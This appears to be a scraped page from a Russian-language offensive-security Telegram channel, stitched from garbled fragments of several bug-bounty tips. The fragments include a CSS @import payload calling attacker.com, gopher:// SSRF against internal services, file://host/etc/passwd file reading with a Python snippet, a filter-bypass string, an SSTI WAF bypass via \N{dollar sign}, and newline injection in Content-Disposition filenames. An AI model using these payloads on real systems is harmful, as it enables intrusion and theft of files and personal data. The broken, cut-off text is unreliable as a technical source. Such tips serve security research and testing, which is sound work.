SHADOW:Group
@shadow_group_tg
5 4 1.5K
id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.@import url(https://attacker.com/test?.css)gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
$$0$$OR-0-$$0$$NOTNULL
file://localhost/etc/passwd file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path><host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
\N{CHARACTER NAME}. \N{dollar sign}{7*7} == ${7*7} == 49Content-Disposition есть параметр filename?
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.pngfilename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % %0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. ⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
Платформа использует файлы cookie для авторизации и сохранения настроек. Продолжая работу, вы соглашаетесь с нашей Политикой использования cookie.